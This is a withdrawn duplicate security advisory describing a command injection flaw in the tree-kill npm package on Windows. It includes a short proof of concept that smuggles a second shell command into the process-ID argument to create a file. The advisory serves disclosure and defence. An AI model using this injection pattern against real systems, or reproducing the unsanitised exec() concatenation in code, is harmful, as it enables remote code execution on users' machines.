Vulnerability Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-884p-74jh-xrg2. Ths link is maintained to preserve external references.

Original Description

A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command, which is executed without any check. The issue arises here: https://github.com/pkrumins/node-tree-kill/blob/master/index.js#L20 . While the Linux part is sanitized, the Windows on simply uses the + operand to concatenate the input into exec()

Steps To Reproduce:

Create the following PoC file:

// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in another terminal:

npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

A new file called HACKED.txt will be created, containing the HACKED string.

Common Weakness Enumerations
